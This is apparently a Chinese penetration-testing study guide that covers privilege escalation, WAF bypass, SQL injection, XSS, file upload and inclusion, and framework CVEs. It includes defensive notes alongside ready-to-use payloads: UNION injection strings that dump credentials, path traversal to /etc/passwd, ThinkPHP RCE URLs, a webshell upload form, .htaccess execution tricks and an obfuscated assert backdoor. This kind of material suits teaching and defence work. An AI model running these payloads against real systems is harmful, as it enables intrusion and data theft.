目录
Windows
Linux
Linux提权方法
内核漏洞提权
Linux操作系统的内核是该系列操作系统的“灵魂大脑”,一旦出现安全隐患情况下,攻击者会很对这些安全隐患加以恶意利用,其中Linux内核漏洞是目前攻击者最为热爱的漏洞之一,内核漏洞的利用通常会以“上帝视角”,也就是所谓的操作系统最高权限的形式为攻击者提供对目标系统的超级用户访问权限。比如经常提到的 传送门——> linux提权—脏牛提权:
1.uname -a 命令,查看内核版本
2.上传自动搜索提权漏洞的脚本
SUID提权
SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了:
查看具有root用户权限的SUID文件:find / -perm -u=s -type f 2>/dev/null
计划任务提权
如果计划任务以root权限运行,计划任务中的脚本其他用户有写入的权限,或者脚本所属组为其他用户,则可以进行计划任务提权:
1. 查看计划任务:cat /etc/crontab
2. 查看文件属于哪个用户是否有写入权限
sudo滥用提权
如果“sudoer"用户被root赋予了特殊的权限,则可以利用awk进行权限提升:hacker ALL=(root) NOPASSWD: /usr/bin/awk
方法:
1. 查看用户能以root权限运行的命令:sudo -l
2. 命令如果为以下命令中的一个:wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp、ed、screen
3. sudo提权
配置错误之利用/etc/passwd提权
如果 /etc/passwd 其他用户有写入权限,则可以通过写入一个uid为0的用户获取root权限。
漏洞
渗透步骤
- 外网打点
- 信息收集
- 发现漏洞
- 漏洞利用
- 获取权限
- 内网信息收集
- 权限维持
- 痕迹清理
- 输出报告
waf绕过方法
目录扫描绕过waf
第一:修改客户端ip
第二:减慢扫描速度
第三:通过代理欺骗waf
手工注入绕过waf
搭建测试环境
了解绕过原理
熟悉常见绕过构造语句
构造绕过测试语句
sqlmap注入绕过waf
1.大小绕过
2.使用sql注释
3.使用url编码
4.使用空字节 :一些过滤器在处理输入时,如果碰到空字节就会停止处理 我们通常也会利用空字节进行绕过过滤器。
5.使用嵌套过剥离
6.使用非标准入口点
7.避开自定义过滤器
编写sqlmap绕过waf脚本
过waf一句话编写讲解
菜刀连接绕过waf
webshell上传绕过waf
提权绕过waf
SQL注入漏洞
什么是SQL
SQL 是结构化查询语言(Structured Query Language),一种用于存储、操作或者检索存储在关系型数据库中数据的计算机语言。
虽然SQL是一个 ANSI(American National Standard Institute,美国国家标准协会)标准,是关系型数据库系统(Relation Database System)的标准语言,但是仍然存在着多种不同版本的 SQL 语言。
常用的SQL语句
- 查询:SELECT field FROM table WHERE condition
- 删除:DELETE FROM table WHERE condition
- 更新:UPDATE table SET field=value WHERE condtion
- 添加:INSERT INTO table values(values)
什么是SQL注入
SQL注入其实就是将SQL语句插入到用户提交的可控参数中,改变原有的SQL语义结构,从而执行攻击者所预期的结果。
SQL注入漏洞的原理
开发人员针对代码编写开发web应用程序过程中,未对攻击者输入的可控参数的合法性进行有效的过滤和判断,从而造成攻击者利用可控的恶意参数带入数据库中执行,从而因造成了恶意的SQL语句对数据库执行的任意操作行为。
SQL注入危害
- 获取数据(拖库)
- 读取敏感系统文件
- 写入WEBSHELL
- 命令执行
SQL注入探测
1.判断数据库类型
- 端口
- 报错信息
- 猜测
2.寻找SQL注入点
寻找与数据库交互的可控参数
- GET
- POST
- COOKIE
- HTTP头
3.确认注入点
终止式
终止式注入是攻击者在注入SQL代码后,将原有的查询代码全部注释掉。
堆叠
堆叠查询是指可以在单次数据库连接中,执行多个查询序列。简单的来说就是执行多条语句。
注入中的数据类型
确认注入点的过程还需要区分可控参数在SQL语句中的数据类型。
SQL注入分类
根据回显类型分类
回显:直接回显、报错回显
盲注:时间盲注、布尔盲注
带外:oob带外通道技术
SQL注入的方式(利用)
万能密码
联合注入
什么是UNION
UNION用于合并两个SELECT的结果集。
- Union必须由两条或者两条以上的SELECT语句组成,语句之间使用Union链接
- Union中的每个查询必须包含相同的列、表达式或者聚合函数,他们出现的顺序可以不一致(这里指查询字段相同,表不一定一样)
- 列的数据类型必须兼容,兼容的含义是必须是数据库可以隐含的转换他们的类型
联合注入流程
- 1' --+ 闭合单引号
- 1' order by 3 --+ order by 3正常,4报错.
- -1' union select 1,2,3 --+ 爆出位置
- -1' union select 1,2,concat_ws(char(32,58,32),user(),database(),version()) --+
- -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
- -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
- -1' union select 1,2,concat_ws(char(32,58,32),username,password) from users --+
报错注入
利用页面返回的MySQL报错信息,将想得到的数据通过报错信息带出。 报错注入的利用方式和MySQL版本有很大的关联。 Updatexml、extractvalue、rand()等
盲注
当不能直接通过显示数据来获得数据库数据时,需要使用其他方式判断或者尝试,这个过程就是盲注。
基于布尔盲注(根据页面返回内容判断)
- 1.left函数:left(a,b)从a的左侧截取a的前b位正确返回1,错误返回0。
- 2.regexp函数:select user() regexp='r'匹配user
- 3.substr函数:select database() substr(1,1),substr(a,b,c)从b截取a的c位长度
- 4.ascii: ascii('s')获取s的ascii值
基于时间盲注(根据页面响应时间判断)(延迟注入)
- 攻击者注入的SQL语句能让本次查询引发时间延迟,例如MySQL中的SLEEP()函数或者BENCHMARK()
宽字节注入
宽字节定义:如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节。
- 像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
- 英文默认占一个字节,中文占两个字节
原理:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。在使用PHP连接MySQL的时候,当设置“character_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入
前提:
- 数据库使用了gbk编码
- 使用了过滤函数,将用户输入的单引号转义
DNSLOG
在无直接回显数据的情况下,我们可以通过DNS解析来传递数据。在MySQL中,我们可以使用LOAD_FILE()来让服务器发送DNS解析。
SQL注入防御
- SQL语句预编译和绑定变量
- 使用足够严格的过滤和安全防御
- 拼接语句
数据库提权
Mysql数据库提权方法:udf、mof
SQL server数据库提权:udf
SQL注入时and、or等字符被过滤了怎么办
字母被注释(or、and等)
- 大小写变形
- 改变编码
- 添加注释
- 往字符里面插入被过滤的字符(双写法)
- 利用符号形式
数字被注释(如:1、2等)
使用浮点数
符号被注释(如:<、>等)
- 利用函数代替
跨站脚本攻击漏洞(xss)
xss概述
XSS全称跨站脚本(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS,比较合适的方式应该叫做跨站脚本攻击。
跨站脚本攻击是一种常见的web安全漏洞,它主要是指攻击者可以在页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份/钓鱼/传播恶意代码等行为。
xss的产生
XSS的本质其实是一种“HTML”注入,用户的数据被当做HTML代码执行,从而混淆了原本的语义,产生了新的语义。
xss的分类
反射型
反射型XSS是通过提交内容,然后不经过数据库,直接反射回显在页面上
存储型
存储型XSS也叫持久型XSS,存储的意思就是Payload是有经过存储的,当一个页面存在存储型XSS的时候,XSS注入成功后,那么每次访问该页面都将触发XSS,如留言板
- 插入留言=>内容存储到数据库
- 查看留言=>内容从数据库提取出来
- 内容在页面显示
DOM型
- 通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。从效果来说,也是反射型。
- 反射型或存储型是服务端将提交的内容反馈到了html源码内,导致触发xss。也就是说返回到html源码中可以看到触发xss的代码。
- DOM型XSS只与客户端上的js交互,也就是说提交的恶意代码,被放到了js中执行,然后显示出来。
其他类型 MXSS
- 突变型XSS UXSS 通用型XSS Flash XSS UTF-7 XSS MHTML XSS CSS XSS VBScript XSS
- 其中UTF-7、MHTML XSS、CSS XSS、VBScript XSS 只在低版本的IE中可以生效
xss的危害
- Cookie盗取
- 钓鱼(伪造登录框,页面)
- 获取IP段
- 站点重定向
- 获取客户端页面信息,例如邮件内容窃取
- XSS蠕虫
xss漏洞探测
寻找WEB应用上的输入与输出口。例如网站输入框、URL参数等等。
在可控参数中提交<script>alert(/xss/)</script>等攻击字符串,观察输出点是否对这些攻击字符串进行转义、过滤、消毒等处理。 如果原样输出,那么必然存在XSS漏洞。
输出点
xss防御
文件上传漏洞
什么是文件上传漏洞
文件上传漏洞就是利用文件上传功能去上传可执行的脚本文件,并通过此脚本文件获得一定的服务器权限。大部分站点都具有文件上传功能,例如头像更改,文章编辑,附件上传等等。
产生原理
上传文件没有经过合理严谨的验证,或者服务器没有经过合理的安全配置,都可能导致文件上传漏洞。
漏洞危害
上传webshell
文件上传漏洞利用
上传可执行脚本,通过可执行脚本获得一定的服务器权限
文件上传漏洞绕过
客户端JavaScript验证
1.直接发送请求包:通过Burp抓到正常上传的请求报文后,修改报文的内容,在直接通过Burp发送,便跳过了网页中JS的验证过程。
2.修改JavaScript:去修改其中关键的检测函数,或者直接通过noscript插件禁用JavaScript。
服务端MIME类型验证
利用Burp抓包,将报文中的Content-Type改成允许的类型,如:Content-Type: image/gif、Content-Type: image/jpg、Content-Type: image/png
服务端文件扩展名验证:
黑名单
寻找黑名单中没有被禁止的文件类型
- 大小写绕过
- %00截断
%00是chr(0),它不是空格,是NULL,空字符。 当程序在输出含有chr(0)变量时,chr(0)后面的数据会被停止,换句话说,就是误把它当做结束符,后面的数据直接忽略,这就导致漏洞产生的原因。
在文件上传中,利用%00截断,在文件扩展名验证时,是取文件的扩展名来做验证,但是最后文件保存在本地时,%00会截断文件名,只保存%00之前的内容。
白名单
1.从操作系统特性来思考
利用window对于文件和文件名的限制,以下字符放在结尾时,不符合操作系统的命名规范,在最后生成文件时,字符会被自动去除。
2.服务器解析漏洞来思考
- Apache解析漏洞
apache解析文件规则是从右到左。例如shel.php.gix.ccc,apache会先识别ccc,ccc不被识别,则识别gix,以此类推,最后会被识别为php来运行。
- IIS6.0解析漏洞
目录解析
目录名为.asp、.asa、.cer,则目录下的所有文件都会被作为ASP解析。 url/test.asp/shell.jpg会被当作asp脚本运行。
文件解析
文件名中分号后不被解析,例如.asp;、.asa;、.cer;。 url/test.asp;shell.jpg会被当作asp脚本运行。
文件类型解析
.asa,.cer,.cdx都会被作为asp文件执行。 url/shell.asa会被作为asp文件执行。
- Nginx解析漏洞
PHP+nginx默认是以cgi的方式去运行,当用户配置不当,会导致任意文件被当作php去解析。 利用条件:以FastCGI运行、cgi.fix_pathinfo=1(全版本PHP默认为开启),例如如果满足上述条件,当你访问url/shell.jpg/shell.php时,shell.jpg会被当作php去执行。
- Nginx 文件名逻辑漏洞
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
利用过程:
1.上传一个`shell.jpg `文件,注意最后为空格
2.访问`url/shell.jpg[0x20][0x00].php` (两个中括号中的数字是用Burp在Hex界面中更改)
- 利用CMS、编辑器漏洞
寻找CMS中文件上传的CVE,看文件上传功能是否是编辑器提供,如果是寻找这个版本编辑器是否存在漏洞。
3.其他姿势来思考
服务器文件内容验证:
1.文件头
图片格式往往不是根据文件后缀名去做判断的。文件头是文件开头的一段二进制,不同的图片类型,文件头是不同的。文件头又称文件幻数。
常见文件幻数:
- JPG:FF D8 FF E0 00 10 4A 46 49 46
- GIF:47 49 46 38 39 61 (GIF89a)
- PNG:89 50 4E 47
2.文件加载检测
文件上传漏洞防御
- 服务端文件扩展名使用白名单检测+文件名重命名
- 对文件内容进行检测
- 对中间件做安全的配置
- 白名单限制上传
- 限制上传目录不解析脚本文件
- 不返回上传路径
- 文件名采用时间戳命名
- 增加规则代码
- 所有后缀强制改为合法后缀,如:png、jpeg
文件包含漏洞
什么是文件包含漏洞
通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。
PHP文件包含函数(4个)
include、require、include_once()、require()_once()
include与require基本是相同的,除了错误处理方面:
include(),只生成警告(E_WARNING),并且脚本会继续
require(),会生成致命错误(E_COMPILE_ERROR)并停止脚本
include_once()与require()_once(),如果文件已包含,则不会包含,其他特性如上
产生文件包含漏洞的条件(文件包含环境说明)
allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据 allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件
文件包含漏洞危害
- 任意文件读取
- 任意代码执行
文件包含漏洞利用:
PHP伪协议
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
1.php://input
php://input可以获取POST的数据流。当它与包含函数结合时,php://input流会被当作php文件执行。从而导致任意代码执行。
2.php://filter
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。
3.zip://
zip://可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
- 只需要是zip的压缩包即可,后缀名可以任意更改。
- 相同的类型的还有zlib://和bzip2://
4.phar://
phar://有点类似zip://同样可以导致 任意代码执行。 phar://中相对路径和绝对路径都可以使用
5.data://
data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
包含日志文件
WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。
利用条件:对日志文件可读,知道日志文件存储目录
- 注意
一般情况下日志存储目录会被修改,需要读取服务器配置文件(httpd.conf,nginx.conf…..)或者根据phpinfo()中的信息来得知
日志记录的信息都可以被调整,比如记录报错的等级,或者内容格式。
包含SESSION
可以先根据尝试包含到Session文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。
利用条件:找到Session内的可控变量、Session文件可读写,并且知道存储路径
默认存储路径:/tmp/、/tmp/sessions/、/var/lib/php5/、/var/lib/php/
session文件格式: sess_[your phpsessid value]
包含/pros/self/environ
proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。
利用条件:
- php以cgi方式运行,这样environ才会保持UA头。
- environ文件存储位置已知,且environ文件可读。
其他包含姿势
包含临时文件、包含SMTP(日志)、包含xss、包含上传文件
文件包含漏洞绕过
前缀绕过
后缀绕过
文件包含漏洞防御
- allow_url_include和allow_url_fopen最小权限化
- 设置open_basedir(open_basedir 将php所能打开的文件限制在指定的目录树中)
- 白名单限制包含文件,或者严格过滤
任意文件下载漏洞
文件下载功能
许多网站都具备文件下载功能,某些文件下载功能实现过程是,根据参数filename的值,获得该文件在网站上的绝对路径,读取文件内容,发送给客户端进行下载。
什么是任意文件下载漏洞
文件下载漏洞是指文件下载功能没有对下载的文件类型、目录做合理严谨的过滤,导致用户可以下载服务器上的任意文件。
任意文件下载漏洞利用
- 获得站点源码(黑盒->白盒)
- 获得站点与中间件配置文件
- 获得应用与系统配置文件(ssh、mysql)
任意文件下载漏洞利用(Web应用)
PHP
- 获取inc/config.php获得数据库连接字符串中的口令信息。
asp
- 获取inc/conn.asp文件,获得数据库连接字符串,得到数据库口令。若是ACCESS数据库,可以得到数据库路径,在下载数据库内容。
aspx
- 获取网站根目录web.config文件,获得数据库连接字符串中的口令信息。
- 获取bin/*.dll文件,获取网站源码(不完整代码)。使用.NET reflector工具打开编译后的dll文件。
JSP
- 获取conf/tomcat-user.xml文件,获得tomcat管理界面的口令信息,上传war包GetShell。
- 获取WEB-INF/Web.xml文件,获得数据库连接字符串中的口令信息。
应用、系统配置文件
任意文件下载漏洞挖掘
漏洞发现
漏洞验证
- index.php?f=../../../../../../etc/passwd
- index.php?f=../../../../../../Windows/win.ini
- index.php?f=../index.php
案例
任意文件下载漏洞防御
- 下载路径不可控,而是程序自动生成后保存在数据库中,根据ID进行下载
- 对参数做严格的过滤,不能进行目录遍历(穿越)
身份认证攻击
什么是身份认证技术
在计算机网络中确认操作者身份的过程而产生的有效解决方法。
什么是身份认证攻击
为了使用各种办法通过身份认证,突破作为防护网络资产的第一道关口,身份认证攻击在渗透测试中有着举足轻重的作用。
框架漏洞(cms漏洞)
ThinkPHP
ThinkPHP可在Windows和Linux等操作系统运行,支持MySql,Sqlite和PostgreSQL等多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。
ThinkPHP存在远程代码执行、SQL注入漏洞、反序列化漏洞等。
2018年12月10日, thinkphp官网发布了安全更新,修复了一个远程代码执行漏洞,该漏洞是由于框架对控制器名没有进行敏感字符检测,导致在没有开启强制路由的情况下可能导致远程代码执行。 主要影响的版本为5.0.23和5.1.31之前的所有版本。
影响版本:(ThinkPHP 5.0.5-5.0.22 || 5.1.0-5.1.30)
漏洞编号:CNVD-2018-24942 漏洞成因:此漏洞是因为框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。其中不同版本 payload 需稍作调整。
漏洞修复:升级到最新版本
5.0.x 版本:
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id #命令执行
5.1.x :
?s=index/\think\Request/input&filter[]=system&data=pwd #读取当前所在路径
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id #获取用户id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id #获取用户id
漏洞梳理
泛微OA
泛微OA存在任意文件上传漏洞。
漏洞描述:泛微OA存在任意文件上传漏洞,在/page/maint/common/UserResourceUpload.jsp?dir=/dir下,可随意指定文件,比如可将shell上传至不登录便可访问的目录里面,攻击者可利用该漏洞获取服务器权限。
影响版本:影响6.0、7.0、7.100及8.0(需要登录)。
漏洞利用:默认可直接上传html、txt等文件,但是不能直接传jsp、JSP文件。但存在文件上传绕过(更改后缀: 1.jsp. , 1.jspx ; linux服务器可以利用0x00截断)。
可以构造如下表单完成上传: <form method='post' action='http://xxxx/page/maint/common/UserResourceUpload.jsp?dir=/' enctype="multipart/form-data" ><br> <input type="file" name="test" /><br> <button type=submit value="getshell">getshell</button> </form>
致远OA
致远OA存在远程代码执行。
漏洞描述:该系统的漏洞点在于致远OA-A8系统的Servlet接口暴露,安全过滤处理措施不足,使得用户在无需认证的情况下实现任意文件上传。攻击者利用该漏洞,可在未授权的情况下,远程发送精心构造的网站后门文件,从而获取目标服务器权限,在目标服务器上执行任意代码,风险极大。
影响版本: 致远A8-V5协同管理软件 V6.1sp1 、致远A8+协同管理软件V7.0、V7.0sp1、V7.0sp2、V7.0sp3 、致远A8+协同管理软件V7.1
修复方案:升级oa版本,安装漏洞补丁。
ActiveMq
Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。 fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作。
ActiveMq存在任意文件上传。
复现步骤:
先登录后台,访问/admin/test/systemProperties.jsp api里面记录了根目录
利用PUT进行文件写入
利用MOVE进行文件移动和创建
成功创建文件
Solr
Solr存在远程命令执行。
漏洞描述:攻击者可利用dataConfig参数构造恶意请求,导致执行任意代码
漏洞编号:CVE-2019-0193
影响版本: 5.4.1/5.5.0、6.6.1/6.6.3、7.0.1/7.1.0/7.2.1/7.3.0/7.4.0/7.5.0/7.7.1/7.7.2、8.1.0/8.1.1/8.2.0
漏洞修复: 升级到最新版本 或者 将相应配置文件中的dataimport requestHandler全部注释并重启Solr服务器,彻底关闭这个接口缓解漏洞。
漏洞利用:
1、首页在Core Selector下随意选择一个节点
2、访问配置文件:/solr/节点名/config,到“params.resource.loader.enabled”,默认是flase,修改为true
3、抓取数据包,写入poc,修改配置
Shiro
Apache shiro是一个Java安全框架,提供了身份认证、授权、加密和会话管理功能,为解决应⽤安全提供了相应的API。
Shiro存在反序列化漏洞。
漏洞描述(原理):Apache Shiro 1.2.4及以前版本中,提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对RememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞,进而在目标机器上执行任意命令。
Payload产生的过程:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值所以理论上只要AES加密钥泄露,都会导致反序列化漏洞。
漏洞编号:CVE-2016-4437
影响版本:Apache Shiro <= 1.2.4
漏洞修复:升级到最新版本,并且去掉或者替换默认的秘钥
fastjson
Fastjson是一个Java库,可用于将Java对象转换成其JSON表示。它还可以用来将JSON字符串转换为等价的Java对象。Fastjson可以处理任意的Java对象,包括本身没有源代码的预先存在的对象。
fastjson存在反序列化漏洞。
漏洞描述:Fastjson提供了反序列化的功能,攻击者可以传入一个恶意构造的JSON内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行
漏洞版本:Fastjson<=1.2.47
漏洞修复:升级到最新版本
Struts2
Apache Struts 2最初被称为WebWork 2,它是一个简洁的、可扩展的框架,Struts通过采用Java Servlet/JSP技术,实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。
Struts2存在远程命令执行。
漏洞描述:Struts2在使用基于Jakarta插件的文件上传功能时,恶意用户可通过修改HTTP请求头中的Content-Type值来触发该漏洞,令系统执行恶意命令,从而威胁服务器安全,影响极大
漏洞编号: CVE-2017-5638
漏洞范围:Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10
漏洞修复:升级到最新版本,判断Content-Type是否为白名单,限制非法的攻击
解析漏洞(常见中间件和主机漏洞)
解析漏洞,是指中间件(Apache、nginx、iis等)在解析文件时出现了漏洞,从而,黑客可以利用该漏洞实现非法文件的解析。
Weblogic-反序列化
WebLogic是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器
Weblogic的反序列化漏洞有很多,这里我们介绍的是较近的一个反序列化漏洞
漏洞描述:Oracle官方在2020年10月份发布的最新安全补丁中修复了许多安全漏洞,其中黑名单类oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor可造成反序列化漏洞。该漏洞允许未经身份验证的攻击者通过IIOP,T3进行网络访问,未经身份验证的攻击者成功利用此漏洞可能接管Oracle Weblogic Server,危害严重。
漏洞编号:CVE-2020-14825
影响版本: Oracle WebLogic Server 12.2.1.3.0 Oracle WebLogic Server 12.2.1.4.0 Oracle WebLogic Server 14.1.1.0.0
漏洞修复:更新漏洞补丁,升级到最新版本
Jboss反序列化
JBoss服务器应用程序(也称为JBoss AS)是基于Java的应用程序服务器。它是一个免费的软件(或开源)服务器,可用于Java支持的任何操作系统
漏洞描述:Jboss反序列化为Java反序列化错误类型,存在于jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。攻击者可以利用漏洞在系统上进行任意命令执行,获得服务器的权限。
漏洞编号:CVE-2017-12149
影响版本:5.x、6.x
漏洞修复:升级到最新版本
WebSphere反序列化
WebSphere Application Server 是一款由IBM 公司开发的高性能的Java 中间件服务器。它包含了编写、运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施,如服务器、服务和工具。
漏洞描述:2020年6月8日,IBM官方发布了WebSphere Application Server(WAS)中的远程代码执行漏洞的通告。此漏洞由IIOP协议上的反序列化恶意对象造成,未经身份认证的攻击者可以通过IIOP协议远程攻击WAS服务器,在目标服务端执行任意代码,获取目标系统权限,进而接管服务器。
漏洞编号:CVE-2020-4450
影响版本: WebSphere Application Server 9.0.0.0 - 9.0.5.4 WebSphere Application Server 8.5.0.0 - 8.5.5.17 WebSphere Application Server 8.0.0.0 - 8.0.0.15 WebSphere Application Server 7.0.0.0 - 7.0.0.45
漏洞修复:更新安全补丁,升级至最新版本
IIS-解析漏洞
目录解析漏洞(/test.asp/1.jpg)
在IIS5.x/6.0 中,在网站下建立文件夹的名字为*.asp、*.asa、*.cer、*.cdx 的文件夹,那么其目录内的任何扩展名的文件都会被IIS当做asp文件来解释并执行
文件名解析漏洞(test.asp;.jpg)
在IIS5.x/6.0 中, 分号后面的不被解析,也就是说 xie.asp;.jpg 会被服务器看成是xie.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种 .asa .cer
畸形解析漏洞(test.jpg/*.php)
IIS7/7.5在Fast-CGI运行模式下,在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。
其他解析漏洞( xx.php[空格] 或 xx.php. 和xx.php/、 xx.php\ )
在windows环境下,xx.jpg[空格] 或 xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,通过抓包在文件名后加一个空格或者点绕过黑名单。若上传成功,空格和点都会被windows自动消除
Nginx-解析漏洞
畸形解析漏洞(test.jpg/*.php)
由于Nginx中php配置不当而造成的,与Nginx版本无关,对于任意文件名,在后面加上/任意文件名.php后该文件就会以php格式进行解析,如 1.png/.php
%00空字节代码解析漏洞
nginx<=0.8.37 存在解析漏洞,Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码,然后通过访问 xxx.jpg%00.php 来执行其中的代码
文件名逻辑漏洞:CVE-2013-4547(%20%00)
影响nginx版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
这一漏洞的原理是非法字符空格和截止符(%00)会导致Nginx解析URI时的有限状态机混乱,危害是允许攻击者通过一个非编码空格绕过后缀名限制。如:1.gif[0x20][0x00].php
Apache-解析漏洞
文件名解析漏洞
用户配置不当,apace解析从右至左进行判断,如果为不可识别解析,就再往左判断。如 1.php.a.b.c , c 不识别会向前进找,知道找到可识别后缀。
罕见后缀
Apache配置文件中会有.+.ph(p[345]?|t|tml)此类的正则表达式,被当php程序执行的文件名要符合正则表达式。也就是说php3,php4,php5,pht,phtml等文件后缀也是可以被当作php文件进行解析的
后缀包含换行符\x0A(CVE-2017-15715)
apache通过mod_php来运行脚本,其2.4.0-2.4.29版本中存在apache换行解析漏洞,在解析php时 xxx.php\x0A 将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。该漏洞属于用户配置不当产生的漏洞,与具体中间件版本无关。
.htaccess
文件 htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置,通过上传.htaccess 文件可以解析特定的文件
.htaccess 文件生效前提条件为: mod_rewrite 模块开启、AllowOverride All
#1:这个.htaccess的意思就是把所有名字里面含有shell的文件当成php脚本来执行 <FilesMatch "shell"> SetHandler application/x-httpd-php </FilesMatchc>
#2:这里代码的意思可以让 .jpg后缀名文件格式的文件名以php格式解析 AddType application/x-httpd-php .jpg
Apache Tomcat 任意文件上传漏洞
常见系统漏洞
永恒之蓝(MS17-010)
永恒之蓝是利用Windows系统的SMB协议(文件共享协议)漏洞来获取系统的最高权限,以此来控制被入侵的计算机。 因此永恒之蓝经常被用作内网里面的提权
影响版本: 目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
漏洞修复:更新安全补丁
漏洞利用: Kali安装Metaploit工具,使用辅助模块: msf> use auxiliary/scanner/smb/smb_ms17_010 设置目标ip,可以验证目标是否存在永恒之蓝漏洞
脏牛
Dirty COW,又叫脏牛漏洞,是公开后影响范围最广和最深的漏洞之一,因为它存在Linux内核中已经有长达9年的时间,2007年发布的Linux内核版本中就已经存在此漏洞
漏洞描述:该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取其他只读内存映射的写权限,进一步获取 root 权限。
漏洞编号:CVE-2016-5195
漏洞危害:低权限用户利用该漏洞可以在众多Linux系统上实现本地提权
影响范围:(2007年发行,到2016年10月18日才修复)
漏洞修复:升级内核版本
代码与命令执行漏洞
1.代码执行漏洞
什么是代码执行漏洞
代码执行漏洞是由于WEB应用程序过滤不严谨,导致用户可以通过请求将代码注入到WEB应用进行执行。
例如:
- SQL注入,是将SQL语句注入到SQL中进行执行。
- PHP代码执行漏洞是将代码注入到WEB服务器中,最终在WEB服务器中进行执行。
php代码执行漏洞的常用函数
eval()与assert()导致的代码执行漏洞大多原因是因为载入缓存或者模版以及对变量的处理不严格导致。例如直接将一个外部可控的参数拼接到模版里面,然后调用这两个函数去当作PHP代码执行。
例如:
1. mixed eval( string $code) -把字符串 code 作为PHP代码执行。
- 代码不能包含打开/关闭 PHP tags。比如不能传入: '<?php echo "Hi!"; ?>'。但仍然可以用合适的 PHP tag 来离开、重新进入 PHP 模式。比如 'echo "In PHP mode!"; ?>In HTML mode!<?php echo "Back in PHP mode!";’。
- 传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾。比如 'echo "Hi!"' 会导致一个 parse error,而 'echo "Hi!";' 则会正常运行。
2. bool assert ( mixed $assertion [, string $description ] )
- PHP语言中是用来判断一个表达式是否成立,返回true or false。
- 如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
PHP的特性原因,PHP的函数名称可以由字符串进行拼接。基于该类写法变形出来的各种异性,经常被当作Web后门使用。
- $a = 'a'.'s'.'s'.'e'.'r'.'t’;
- $a('phpinfo()');
